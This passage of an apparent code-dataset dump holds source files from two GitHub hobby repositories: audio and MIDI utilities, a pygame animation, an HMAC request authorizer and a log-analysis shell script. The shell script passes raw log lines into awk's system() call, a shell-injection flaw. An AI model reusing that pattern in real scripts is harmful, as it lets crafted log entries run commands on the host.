self.linear1(X)\n output = self.linear2(output)\n return output\n\n\ndef test_fast_geometric_workflow_clf():\n \"\"\"\n This unit test checks the error message when calling `predict` before\n calling `ensemble`.\n \"\"\"\n model = clf(estimator=MLP_clf, n_estimators=2, cuda=False)\n\n model.set_optimizer(\"Adam\")\n\n # Prepare data\n test = TensorDataset(X_test, y_test_clf)\n test_loader = DataLoader(test, batch_size=2, shuffle=False)\n\n # Training\n with pytest.raises(RuntimeError) as excinfo:\n model.evaluate(test_loader)\n assert \"Please call the `ensemble` method to build\" in str(excinfo.value)\n\n\ndef test_fast_geometric_workflow_reg():\n \"\"\"\n This unit test checks the error message when calling `predict` before\n calling `ensemble`.\n \"\"\"\n model = reg(estimator=MLP_reg, n_estimators=2, cuda=False)\n\n model.set_optimizer(\"Adam\")\n\n # Prepare data\n test = TensorDataset(X_test, y_test_reg)\n test_loader = DataLoader(test, batch_size=2, shuffle=False)\n\n # Training\n with pytest.raises(RuntimeError) as excinfo:\n model.evaluate(test_loader)\n assert \"Please call the `ensemble` method to build\" in str(excinfo.value)\n" } ]
5
AndyYoung27/AzureIdea001
https://github.com/AndyYoung27/AzureIdea001
a30683bf18efb986150706ebf3f84ee3a4ce5334
8ea0e2073adace5f0ea7f17738840d34671b8fd7
fe43f84be20a9e6497ab5cba0f1f15adb55fdb75
refs/heads/master
2021-05-03T14:40:26.788199
2019-07-03T13:21:15
2019-07-03T13:21:15
120,462,367
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.8787878751754761, "alphanum_fraction": 0.8787878751754761, "avg_line_length": 32, "blob_id": "b43d0b90319b9ef5847913b5efa7d29389ee109c", "content_id": "d4010f3f18965a752bdf610b0fd017f7685566f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 73, "license_type": "no_license", "max_line_length": 32, "num_lines": 1, "path": "/README.md", "repo_name": "AndyYoung27/AzureIdea001", "src_encoding": "UTF-8", "text": "写着玩玩,大一时自学的pygame,python是我的好朋友啊!\n" }, { "alpha_fraction": 0.548028290271759, "alphanum_fraction": 0.5965622067451477, "avg_line_length": 22, "blob_id": "e0d081bfb686b4594ec6df261a0d8ff0f22f31ea", "content_id": "bf2aed5a7511dbc91ef496498d500162d21b17a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 993, "license_type": "no_license", "max_line_length": 83, "num_lines": 43, "path": "/SnowAnimation.py", "repo_name": "AndyYoung27/AzureIdea001", "src_encoding": "UTF-8", "text": "import pygame\nimport random\n\npygame.init()\n\nsize = (1440,960)\n\nscreen = pygame.display.set_mode(size)\npygame.display.set_caption(\"Snow Animation\")\nbg = pygame.image.load(\"泠然.JPG\")\n\nsnow_list = []\n\nfor i in range(200):\n x = random.randrange(0,size[0])\n y = random.randrange(0,size[1])\n sx = random.randint(-1,1)\n sy = random.randint(3,6)\n snow_list.append([x,y,sx,sy])\n\nclock = pygame.time.Clock()\n\ndone = False\nwhile not done:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n screen.blit(bg,(0,0))\n\n for i in range(len(snow_list)):\n pygame.draw.circle(screen,(255,255,255),snow_list[i][:2],snow_list[i][3]-3)\n\n snow_list[i][0] += snow_list[i][2]\n snow_list[i][1] += snow_list[i][3]\n\n if snow_list[i][1] > size[1]:\n snow_list[i][1] = random.randrange(-50,-10)\n snow_list[i][0] = random.randrange(0,size[0])\n\n pygame.display.flip()\n clock.tick(20)\n\npygame.quit()\n" } ]
2
physacco/asobi
https://github.com/physacco/asobi
d07d65b5f9985a1f05d0feccf0b2c0a872011e8d
e1e00bbda2bc1ae8b84d5047da6756844257a879
89ca5587f214774f0067f227e9a2de3e8894efc4
refs/heads/master
2016-08-04T20:43:09.633286
2015-03-04T09:43:24
2015-03-04T09:43:24
10,769,190
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6008264422416687, "alphanum_fraction": 0.6107438206672668, "avg_line_length": 23.693878173828125, "blob_id": "5465f9da78adfb20f55197ea5cc4e3dcc8340494", "content_id": "401407f743a9647a9bacfdbec029e566859b4790", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1210, "license_type": "no_license", "max_line_length": 58, "num_lines": 49, "path": "/src/mididump.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "# Dump a midi file.\n#\n# References:\n# * http://www.sengpielaudio.com/calculator-notenames.htm\n# * http://www.onicos.com/staff/iz/formats/midi-event.html\n\nimport sys\nimport midi\n\nNoteNames = ('C', 'C#', 'D', 'D#', 'E', 'F',\n 'F#', 'G', 'G#', 'A', 'A#', 'B')\n\ndef note_name(note_number):\n note = NoteNames[note_number % 12]\n octave = note_number / 12 - 1\n return '%s%s' % (note, octave)\n\ndef print_note_event(event):\n name = type(event).__name__\n tick = event.tick\n channel = event.channel\n note = event.data[0]\n velocity = event.data[1]\n print name, tick, channel, note_name(note), velocity\n\nif len(sys.argv) != 2:\n print \"Usage: {0} <midifile>\".format(sys.argv[0])\n sys.exit(2)\n\nmidifile = sys.argv[1]\n\npattern = midi.read_midifile(midifile)\nprint 'format', pattern.format\nprint 'resolution', pattern.resolution\nprint 'tracks', len(pattern)\nprint\n\nfor i in range(len(pattern)):\n track = pattern[i]\n print 'track %d: %d events' % (i, len(track))\n print\n\n for event in track:\n if isinstance(event, (midi.events.NoteOnEvent,\n midi.events.NoteOffEvent)):\n print_note_event(event)\n else:\n print event\n print\n" }, { "alpha_fraction": 0.4605211913585663, "alphanum_fraction": 0.4683002829551697, "avg_line_length": 27.566667556762695, "blob_id": "7a5857524df6e23c6479f55b8e222c2d99abac6c", "content_id": "18e4c0a6d7525293a0fffc400156766257d0aaa1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2571, "license_type": "no_license", "max_line_length": 79, "num_lines": 90, "path": "/src/policy.js", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "/*global require: false, module: false, Buffer: false */\nmodule.exports = (function () {\n \"use strict\";\n\n var crypto, Signer, Express;\n\n crypto = require('crypto');\n\n Signer = function (secret) {\n this.secret = secret;\n };\n\n Signer.prototype = {\n // Sign a piece of data.\n // Return a hex string.\n sign: function (data) {\n return crypto.createHmac('sha256', this.secret)\n .update(data).digest('hex');\n },\n\n // Verify the signature of data.\n // Return true or false.\n verify: function (data, signature) {\n return this.sign(data) === signature;\n }\n };\n\n Express = {};\n\n // Authorization middleware for the express framework.\n // getSecret is a callback for querying secret of a request.\n // getSecret(req, callback(secret));\n Express.Authorizer = function (getSecret) {\n return function (req, res, next) {\n var policy, signature, decodedPolicy;\n\n // fetch policy and signature\n if (req.query && req.query.policy) {\n policy = req.query.policy;\n signature = req.query.signature || '';\n } else if (req.body && req.body.policy) {\n policy = req.body.policy;\n signature = req.body.signature || '';\n } else {\n res.send(403, {result: 'Permission denied'});\n return;\n }\n\n // decode policy\n try {\n decodedPolicy = new Buffer(policy, 'base64').toString('ascii');\n req.policy = JSON.parse(decodedPolicy);\n } catch (e) {\n res.send(403, {result: 'Permission denied'});\n return;\n }\n\n // ask for a secret for this request\n getSecret(req, function (err, secret) {\n var signer;\n\n if (err) {\n res.send(500, {result: err});\n return;\n }\n\n if (!secret) {\n res.send(403, {result: 'Permission denied'});\n return;\n }\n\n signer = new Signer(secret);\n\n if (!signer.verify(policy, signature)) {\n res.send(403, {result: 'Permission denied'});\n return;\n }\n\n req.policy_secret = secret;\n\n next();\n });\n };\n };\n\n return {\n Signer: Signer,\n Express: Express\n };\n}());\n" }, { "alpha_fraction": 0.5939394235610962, "alphanum_fraction": 0.600782036781311, "avg_line_length": 28.56647491455078, "blob_id": "4c5dbe2c79b3849c9c4701b05b1f6ab9a4849629", "content_id": "f5c69b909e064fce6394a07a0e41001b89e785d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5115, "license_type": "no_license", "max_line_length": 106, "num_lines": 173, "path": "/src/libplaypcm.c", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#include \"libplaypcm.h\"\n\npcm_player *pcm_player_init(int framerate, int nchannels, int sampwidth)\n{\n pcm_player *player;\n int retval, format, buffsz;\n char *buff, *devname;\n snd_pcm_t *pcm_handle;\n snd_pcm_stream_t stream;\n snd_pcm_hw_params_t *hwparams;\n snd_pcm_uframes_t periodsize;\n\n // check parameters\n if(nchannels != 1 && nchannels != 2) {\n fprintf(stderr, \"error: unsupported channels: %d\\n\", nchannels);\n return NULL;\n }\n\n if(sampwidth == 1)\n format = SND_PCM_FORMAT_U8;\n else if(sampwidth == 2)\n format = SND_PCM_FORMAT_S16_LE;\n else if(sampwidth == 3)\n format = SND_PCM_FORMAT_S24_LE;\n else if(sampwidth == 4)\n format = SND_PCM_FORMAT_S32_LE;\n else {\n fprintf(stderr, \"error: unsupported sample width: %d\\n\", sampwidth);\n return NULL;\n }\n\n // allocate the structure\n player = (pcm_player*)malloc(sizeof(pcm_player));\n if(player == NULL)\n return NULL;\n\n\n // open the PCM device in playback mode\n devname = \"default\";\n stream = SND_PCM_STREAM_PLAYBACK;\n if((retval = snd_pcm_open(&pcm_handle, devname, stream, 0)) < 0) {\n fprintf(stderr, \"error: can't PCM device: %s\\n\", snd_strerror(retval));\n free(player);\n return NULL;\n }\n\n // allocate parameters object and fill it with default values\n snd_pcm_hw_params_alloca(&hwparams);\n snd_pcm_hw_params_any(pcm_handle, hwparams);\n\n // set parameters\n if((retval = snd_pcm_hw_params_set_access(pcm_handle, hwparams, SND_PCM_ACCESS_RW_INTERLEAVED)) < 0) {\n fprintf(stderr, \"error: can't set interleaved mode: %s\\n\", snd_strerror(retval));\n snd_pcm_close(pcm_handle);\n free(player);\n return NULL;\n }\n\n if ((retval = snd_pcm_hw_params_set_format(pcm_handle, hwparams, format)) < 0) {\n fprintf(stderr, \"error: can't set format: %s\\n\", snd_strerror(retval));\n snd_pcm_close(pcm_handle);\n free(player);\n return NULL;\n }\n\n if ((retval = snd_pcm_hw_params_set_channels(pcm_handle, hwparams, nchannels)) < 0) {\n fprintf(stderr, \"error: can't set channels: %s\\n\", snd_strerror(retval));\n snd_pcm_close(pcm_handle);\n free(player);\n return NULL;\n }\n\n if ((retval = snd_pcm_hw_params_set_rate_near(pcm_handle, hwparams, &framerate, 0)) < 0) {\n fprintf(stderr, \"error: can't set rate: %s\\n\", snd_strerror(retval));\n snd_pcm_close(pcm_handle);\n free(player);\n return NULL;\n }\n\n periodsize = framerate / 10;\n if((retval = snd_pcm_hw_params_set_period_size(pcm_handle, hwparams, periodsize, 0)) < 0) {\n fprintf(stderr, \"error: can't set period size: %s\\n\", snd_strerror(retval));\n snd_pcm_close(pcm_handle);\n free(player);\n return NULL;\n }\n\n // write parameters\n if ((retval = snd_pcm_hw_params(pcm_handle, hwparams)) < 0) {\n fprintf(stderr, \"error: can't set hardware parameters: %s\\n\", snd_strerror(retval));\n snd_pcm_close(pcm_handle);\n free(player);\n return NULL;\n }\n\n // resume information\n printf(\"PCM name: %s\\n\", snd_pcm_name(pcm_handle));\n\n snd_pcm_hw_params_get_channels(hwparams, &nchannels);\n printf(\"channels: %i \", nchannels);\n if (nchannels == 1)\n printf(\"(mono)\\n\");\n else if (nchannels == 2)\n printf(\"(stereo)\\n\");\n\n snd_pcm_hw_params_get_rate(hwparams, &framerate, 0);\n printf(\"framerate: %d Hz\\n\", framerate);\n\n // allocate buffer to hold single period\n snd_pcm_hw_params_get_period_size(hwparams, &periodsize, 0);\n printf(\"period size: %d\\n\", periodsize);\n\n buffsz = sampwidth * nchannels * periodsize;\n printf(\"buffer size: %d\\n\", buffsz);\n\n buff = (char*)malloc(buffsz);\n if(buff == NULL) {\n fprintf(stderr, \"error: can't allocate pcm buffer\\n\");\n snd_pcm_close(pcm_handle);\n free(player);\n return NULL;\n }\n\n // set player attributes\n player->pcm_handle = pcm_handle;\n player->framerate = framerate;\n player->nchannels = nchannels;\n player->sampwidth = sampwidth;\n player->periodsize = periodsize;\n player->buffersize = buffsz;\n player->buffer = buff;\n\n return player;\n}\n\nint pcm_player_write(pcm_player *player, const char *buff)\n{\n int retval;\n\n retval = snd_pcm_writei(player->pcm_handle, buff, player->periodsize);\n if (retval == -EPIPE) { // buffer underrun\n snd_pcm_prepare(player->pcm_handle);\n return 1;\n } else if (retval < 0) {\n fprintf(stderr, \"error: can't write to PCM device: %s\\n\",\n snd_strerror(retval));\n return 0;\n }\n}\n\nvoid pcm_player_play(pcm_player *player, int fd)\n{\n int retval;\n\n while(1) {\n retval = read(fd, player->buffer, player->buffersize);\n if(retval <= 0)\n break;\n\n retval = pcm_player_write(player, player->buffer);\n if(retval == 0)\n break;\n }\n}\n\nvoid pcm_player_free(pcm_player *player)\n{\n snd_pcm_drain(player->pcm_handle);\n snd_pcm_close(player->pcm_handle);\n\n free(player->buffer);\n free(player);\n}\n" }, { "alpha_fraction": 0.4019801914691925, "alphanum_fraction": 0.49702969193458557, "avg_line_length": 17.703702926635742, "blob_id": "7d6a4b535ccee9abd6d81932abb68177848f1d76", "content_id": "bea8bbf65f1a828e972762fca226226863d96cb8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 505, "license_type": "no_license", "max_line_length": 63, "num_lines": 27, "path": "/src/convolve.rb", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "def convolve(va, vb)\n raise ArgumentError, \"empty vector\" if va.empty? || vb.empty?\n\n vb = vb.reverse\n val = va.size\n vbl = vb.size\n\n res = [0] * (val + vbl - 1)\n\n va.each_with_index do |a, i|\n vb.each_with_index do |b, j|\n res[i + j] += a * b\n end\n end\n\n res\nend\n\na = [1, 1, 1]\nb = [5, 3, 1]\nc = [1, 2, 3]\nd = [1, 2, 3, 4]\n\np convolve(a, a) # [1, 2, 3, 2, 1]\np convolve(b, c) # [15, 19, 14, 5, 1]\np convolve(b, d) # [20, 27, 23, 14, 5, 1]\np convolve(d, b) # [1, 5, 14, 23, 27, 20]\n" }, { "alpha_fraction": 0.544005811214447, "alphanum_fraction": 0.5552335977554321, "avg_line_length": 23.651784896850586, "blob_id": "fee3a3af33b6faf9b41802c37dd498642b7ba159", "content_id": "4d42858176a2134419a8cdb69a96b87fec7848b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2761, "license_type": "no_license", "max_line_length": 59, "num_lines": 112, "path": "/src/wav2stereo", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport sys\nimport wave\nimport getopt\n\ndef merge(leftin, rightin, output):\n if not leftin:\n print 'error: leftin unspecified'\n return\n\n if not rightin:\n print 'error: rightin unspecified'\n return\n\n lwf = wave.open(leftin, 'rb')\n lnchannels = lwf.getnchannels()\n lframerate = lwf.getframerate()\n lsampwidth = lwf.getsampwidth()\n lnframes = lwf.getnframes()\n if lnchannels > 1:\n print 'error: leftin has %d channels' % lnchannels\n return\n\n rwf = wave.open(rightin, 'rb')\n rnchannels = rwf.getnchannels()\n rframerate = rwf.getframerate()\n rsampwidth = rwf.getsampwidth()\n rnframes = rwf.getnframes()\n if rnchannels > 1:\n print 'error: rightin has %d channels' % rnchannels\n return\n \n if lframerate != rframerate:\n print 'error: lframerate != rframerate'\n return\n\n if lsampwidth != rsampwidth:\n print 'error: lsampwidth != rsampwidth'\n return\n\n if lnframes != rnframes:\n print 'error: lnframes != rnframes'\n return\n\n owf = wave.open(output, 'wb')\n owf.setnchannels(2)\n owf.setframerate(lframerate)\n owf.setsampwidth(lsampwidth)\n owf.setnframes(lnframes)\n\n sys.stdout.write('Channels: %d\\n' % 2)\n sys.stdout.write('Frame rate: %d\\n' % lframerate)\n sys.stdout.write('Sample width: %d\\n' % lsampwidth)\n sys.stdout.write('Frames: %d\\n' % lnframes)\n\n while True:\n data1 = lwf.readframes(lframerate)\n datalen1 = len(data1)\n framecnt1 = datalen1 / lsampwidth\n if framecnt1 <= 0:\n break\n\n data2 = rwf.readframes(rframerate)\n datalen2 = len(data2)\n framecnt2 = datalen2 / rsampwidth\n if framecnt2 <= 0:\n break\n\n data = ''\n framecnt = min(framecnt1, framecnt2)\n for i in range(framecnt):\n a = i * lsampwidth\n b = (i + 1) * lsampwidth\n data += data1[a:b]\n data += data2[a:b]\n\n owf.writeframes(data)\n\ndef usage():\n print 'wav2stereo [Options] OUTPUT'\n\ndef version():\n print 'wav2stereo 0.1.0'\n\ndef main():\n leftin = None\n rightin = None\n \n try:\n opts, args = getopt.getopt(sys.argv[1:], 'hl:r:V',\n ['help', 'left=', 'right=', 'version'])\n except getopt.GetoptError, err:\n show_usage()\n sys.exit(1)\n\n for o, a in opts:\n if o in ('-h', '--help'):\n usage()\n exit()\n elif o in ('-l', '--left'):\n leftin = a\n elif o in ('-r', '--right'):\n rightin = a\n elif o in ('-V', '--version'):\n version()\n exit()\n\n merge(leftin, rightin, args[0])\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5666666626930237, "alphanum_fraction": 0.5666666626930237, "avg_line_length": 6.5, "blob_id": "53ad1bb546d6cc18b12af3535f942d04acf500ad", "content_id": "2365c9c48046542c2ac44e05546e84d1a3534b6a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 30, "license_type": "no_license", "max_line_length": 16, "num_lines": 4, "path": "/README.md", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "asobi\n=====\n\nAsobi ni iku yo!\n" }, { "alpha_fraction": 0.4355444312095642, "alphanum_fraction": 0.45807260274887085, "avg_line_length": 20.890411376953125, "blob_id": "2ed668ac203240c64140739936907dfa554d8d8c", "content_id": "2c66f0061444f5b7741082fd118c808a6c98e960", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1598, "license_type": "no_license", "max_line_length": 55, "num_lines": 73, "path": "/src/radix62-small.js", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "/*global require: false, module: false */\n// Convert a Number between base 10 and base 62.\n// Only works for small numbers due to precision limit.\nmodule.exports = (function () {\n \"use strict\";\n\n var RADIX, ALPHABET, PRIMITIVES, encode, decode, i;\n\n RADIX = 62;\n\n ALPHABET = '0123456789' +\n 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +\n 'abcdefghijklmnopqrstuvwxyz';\n\n PRIMITIVES = {};\n for (i = ALPHABET.length - 1; i >= 0; i -= 1) {\n PRIMITIVES[ALPHABET[i]] = i;\n }\n\n encode = function (num) {\n var prefix, chars;\n\n if (num === 0) {\n return '0';\n }\n\n\n if (num < 0) {\n prefix = '-';\n num *= -1;\n } else {\n prefix = '';\n }\n\n chars = [];\n\n while (num > 0) {\n chars.unshift(ALPHABET[num % 62]);\n num = Math.floor(num / 62);\n }\n\n chars.unshift(prefix);\n return chars.join('');\n };\n\n decode = function (str) {\n var positive, result, i;\n\n positive = true;\n if (str[0] === '+') {\n str = str.substring(1);\n } else if (str[0] === '-') {\n positive = false;\n str = str.substring(1);\n }\n\n result = 0;\n for (i = 0; i < str.length; i += 1) {\n result *= RADIX;\n result += PRIMITIVES[str[i]];\n }\n\n return positive ? result : -1 * result;\n };\n\n return {\n RADIX: RADIX,\n ALPHABET: ALPHABET,\n PRIMITIVES: PRIMITIVES,\n encode: encode,\n decode: decode\n };\n}());\n" }, { "alpha_fraction": 0.4898321330547333, "alphanum_fraction": 0.4977480471134186, "avg_line_length": 26.33955192565918, "blob_id": "214134a9902790b36307d0c738d127c5dd3ace9b", "content_id": "1817a6ae242647e58559bb05b71ed9c8ad27baf8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7327, "license_type": "no_license", "max_line_length": 79, "num_lines": 268, "path": "/src/playmp3.c", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "// playmp3.c: play an mp3 audio file.\n// It read mp3 data from stdin.\n//\n// Compile:\n// $ gcc -o playmp3 playmp3.c libplaypcm.c -lasound -lmad\n//\n// Usage:\n// $ ./playmp3 < foo.mp3\n//\n// References:\n// http://www.underbit.com/products/mad/\n// http://www.bsd-dk.dk/~elrond/audio/madlld/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <limits.h>\n#include <unistd.h>\n#include <mad.h>\n#include <alsa/asoundlib.h>\n#include \"libplaypcm.h\"\n\nstatic signed short MadFixedToSshort(mad_fixed_t Fixed)\n{\n if(Fixed>=MAD_F_ONE)\n return(SHRT_MAX);\n if(Fixed<=-MAD_F_ONE)\n return(-SHRT_MAX);\n\n Fixed=Fixed>>(MAD_F_FRACBITS-15);\n return((signed short)Fixed);\n}\n\nstatic int PrintFrameInfo(FILE *fp, struct mad_header *Header)\n{\n const char *Layer, *Mode, *Emphasis;\n\n switch(Header->layer)\n {\n case MAD_LAYER_I:\n Layer=\"I\";\n break;\n case MAD_LAYER_II:\n Layer=\"II\";\n break;\n case MAD_LAYER_III:\n Layer=\"III\";\n break;\n default:\n Layer=\"(unexpected layer value)\";\n break;\n }\n\n switch(Header->mode)\n {\n case MAD_MODE_SINGLE_CHANNEL:\n Mode=\"single channel\";\n break;\n case MAD_MODE_DUAL_CHANNEL:\n Mode=\"dual channel\";\n break;\n case MAD_MODE_JOINT_STEREO:\n Mode=\"joint (MS/intensity) stereo\";\n break;\n case MAD_MODE_STEREO:\n Mode=\"normal LR stereo\";\n break;\n default:\n Mode=\"(unexpected mode value)\";\n break;\n }\n\n /* Convert the emphasis to it's printed representation. Note that\n * the MAD_EMPHASIS_RESERVED enumeration value appeared in libmad\n * version 0.15.0b.\n */\n switch(Header->emphasis)\n {\n case MAD_EMPHASIS_NONE:\n Emphasis=\"no\";\n break;\n case MAD_EMPHASIS_50_15_US:\n Emphasis=\"50/15 us\";\n break;\n case MAD_EMPHASIS_CCITT_J_17:\n Emphasis=\"CCITT J.17\";\n break;\n#if (MAD_VERSION_MAJOR>=1) || \\\n ((MAD_VERSION_MAJOR==0) && (MAD_VERSION_MINOR>=15))\n case MAD_EMPHASIS_RESERVED:\n Emphasis=\"reserved(!)\";\n break;\n#endif\n default:\n Emphasis=\"(unexpected emphasis value)\";\n break;\n }\n\n fprintf(fp,\"player: %lu kb/s audio MPEG layer %s stream %s CRC, \"\n \"%s with %s emphasis at %d Hz sample rate\\n\",\n Header->bitrate, Layer,\n Header->flags & MAD_FLAG_PROTECTION ? \"with\" : \"without\",\n Mode, Emphasis, Header->samplerate);\n return ferror(fp);\n}\n\n#define INPUT_BUFFER_SIZE (5*8192)\n\nstatic int MpegAudioDecode(FILE *InputFp)\n{\n pcm_player *player;\n\n struct mad_stream Stream;\n struct mad_frame Frame;\n struct mad_synth Synth;\n\n unsigned char InputBuffer[INPUT_BUFFER_SIZE + MAD_BUFFER_GUARD];\n\n unsigned char *OutputBuffer = NULL;\n unsigned char *OutputPtr = NULL;\n unsigned char *OutputBufferEnd = NULL;\n\n int Status = 0, i;\n\n unsigned long FrameCount = 0;\n\n // initialize libmad\n mad_stream_init(&Stream);\n mad_frame_init(&Frame);\n mad_synth_init(&Synth);\n\n do\n {\n if(Stream.buffer == NULL || Stream.error == MAD_ERROR_BUFLEN)\n {\n size_t ReadSize, Remaining;\n unsigned char *ReadStart;\n\n if(Stream.next_frame != NULL) // there is data remaining\n {\n Remaining = Stream.bufend - Stream.next_frame;\n memmove(InputBuffer, Stream.next_frame, Remaining);\n ReadStart = InputBuffer + Remaining;\n ReadSize = INPUT_BUFFER_SIZE - Remaining;\n }\n else\n {\n ReadSize = INPUT_BUFFER_SIZE;\n ReadStart = InputBuffer;\n Remaining = 0;\n }\n\n ReadSize = fread(ReadStart, 1, ReadSize, InputFp);\n if(ReadSize <= 0)\n {\n if(ferror(InputFp))\n {\n fprintf(stderr,\"error: read error on bit-stream (%s)\\n\",\n strerror(errno));\n Status = 1;\n }\n if(feof(InputFp))\n fprintf(stderr,\"error: end of input stream\\n\");\n break;\n }\n\n mad_stream_buffer(&Stream, InputBuffer, ReadSize + Remaining);\n Stream.error = 0;\n }\n\n // decode one frame\n if(mad_frame_decode(&Frame, &Stream))\n {\n if(MAD_RECOVERABLE(Stream.error))\n {\n if(Stream.error != MAD_ERROR_LOSTSYNC)\n {\n fprintf(stderr,\"error: recoverable frame level error\\n\");\n fflush(stderr);\n }\n continue;\n }\n else\n {\n if(Stream.error == MAD_ERROR_BUFLEN)\n continue;\n else\n {\n fprintf(stderr,\"error: unrecoverable frame level error\\n\");\n Status=1;\n break;\n }\n }\n }\n\n // if it's the 0th frame, print some information\n if(FrameCount == 0) {\n if(PrintFrameInfo(stderr, &Frame.header))\n {\n Status = 1;\n break;\n }\n\n int framerate = Frame.header.samplerate;\n int nchannels = MAD_NCHANNELS(&Frame.header);\n int sampwidth = 2;\n\n player = pcm_player_init(framerate, nchannels, sampwidth);\n if(player == NULL) {\n fprintf(stderr, \"error: can't init pcm_player\\n\");\n Status = 1;\n break;\n }\n\n OutputBuffer = player->buffer;\n OutputPtr = OutputBuffer;\n OutputBufferEnd = OutputBuffer + player->buffersize;\n }\n\n FrameCount++;\n\n mad_synth_frame(&Synth, &Frame);\n\n // output\n for(i = 0; i < Synth.pcm.length; i++)\n {\n signed short Sample;\n\n // left channel\n Sample = MadFixedToSshort(Synth.pcm.samples[0][i]);\n *(OutputPtr++) = Sample & 0xff; // little endian\n *(OutputPtr++) = Sample >> 8;\n\n // right channel\n if(MAD_NCHANNELS(&Frame.header) == 2) {\n Sample = MadFixedToSshort(Synth.pcm.samples[1][i]);\n *(OutputPtr++) = Sample & 0xff; // little endian\n *(OutputPtr++) = Sample >> 8;\n }\n\n // flush OutputBuffer if it is full\n if(OutputPtr == OutputBufferEnd)\n {\n int cnt = pcm_player_write(player, player->buffer);\n if(cnt == 0) {\n Status = 2;\n break;\n }\n OutputPtr = OutputBuffer;\n }\n }\n } while(1);\n\n // fixme: it's possible that OutputBuffer is not empty\n\n mad_synth_finish(&Synth);\n mad_frame_finish(&Frame);\n mad_stream_finish(&Stream);\n\n pcm_player_free(player);\n\n return Status;\n}\n\nint main(int argc, char *argv[])\n{\n return MpegAudioDecode(stdin);\n}\n" }, { "alpha_fraction": 0.571784257888794, "alphanum_fraction": 0.578423261642456, "avg_line_length": 26.386363983154297, "blob_id": "8249b2890890862f9f14d7b42d466c8aa8b7fd31", "content_id": "5eafb7a8460125b076e8900f3e3eba2cca0d9f93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1205, "license_type": "no_license", "max_line_length": 62, "num_lines": 44, "path": "/src/disconnectports.py", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# disconnectports.py -- Connect ALSA MIDI ports.\n\nimport re\nimport sys\n\n# Get pyalsa from here: ftp://ftp.alsa-project.org/pub/pyalsa/\nfrom pyalsa import alsaseq\nfrom pyalsa.alsaseq import *\n\ndef init_seq():\n \"\"\" opens an alsa sequencer \"\"\"\n try:\n sequencer = Sequencer(name = 'default',\n clientname = 'aconnect.py',\n streams = SEQ_OPEN_DUPLEX,\n mode = SEQ_BLOCK)\n return sequencer\n except SequencerError, e:\n fatal(\"open sequencer: %e\", e)\n\ndef disconnect(src_port, dst_port):\n sequencer = init_seq()\n sequencer.disconnect_ports(src_port, dst_port)\n\ndef parse_port(string):\n m = re.match('^(\\d+)(:(\\d+))?$', string)\n if m:\n clientid = int(m.group(1))\n portid = m.group(3) and int(m.group(3)) or 0\n return (clientid, portid)\n raise ValueError('invalid port format')\n\ndef main():\n if len(sys.argv) < 3:\n print 'Usage: disconnectports.py src_port dst_port'\n exit(1)\n\n src_port = parse_port(sys.argv[1])\n dst_port = parse_port(sys.argv[2])\n disconnect(src_port, dst_port)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.47595861554145813, "alphanum_fraction": 0.5094339847564697, "avg_line_length": 21.20270347595215, "blob_id": "b25876e5d58e0436032f1373919cdef3a9ed7dde", "content_id": "3de12ae3f109000c976c8d8aa5abc0c047f50d05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1643, "license_type": "no_license", "max_line_length": 77, "num_lines": 74, "path": "/src/loganalysis.sh", "repo_name": "physacco/asobi", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nLOG=\"access_log\"\n\ncat $LOG | awk -v FS='\"' '{\n if($2 ~ /\\.html|\\.js|\\.css|\\.gif|\\.jpg|\\.ico/){\n cmd = \"echo \"$0\" >> /tmp/loganalysis_static\";\n system(cmd);\n } else{\n cmd = \"echo \"$0\" >> /tmp/loganalysis_dynamic\";\n system(cmd);\n }\n}'\n\nfunction count_by_hour(){\n ifile=\"/tmp/loganalysis_\"$1\n cat $ifile | awk '\n BEGIN{i=0; while(i<24){cnt[i] = 0; i++;}}\n {\n i=0; while(i<24){\n re = sprintf(\"20/Jan/2010:%02d:[0-5][0-9]\", i);\n if($0 ~ re){\n cnt[i] = cnt[i] + 1;\n break;\n }\n }\n }\n END{str=cnt[0]; i=1; while(i<24){str = str\" \"cnt[i]; i++} print str;}\n '\n}\n\ncnt_static=`count_by_hour \"static\"`\ncnt_dynamic=`count_by_hour \"dynamic\"`\ncnt_merge=$cnt_static\" \"$cnt_dynamic\necho -e \"Hour\\tStatic\\tDynamic\\tTotal\"\necho $cnt_merge | awk '\nBEGIN{maxidx=0; max=-1;}\n{\n i = 0;\n while(i < 24){\n af = i + 1;\n bf = af + 24;\n a = $af;\n b = $bf;\n tot = a + b;\n if(tot > max){\n maxidx = i;\n max = tot;\n }\n printf(\"%d\\t%d\\t%d\\t%d\\n\", i, a, b, tot);\n i++;\n }\n}\nEND{print \"\\nMax:\", max, \"visits in hour\", 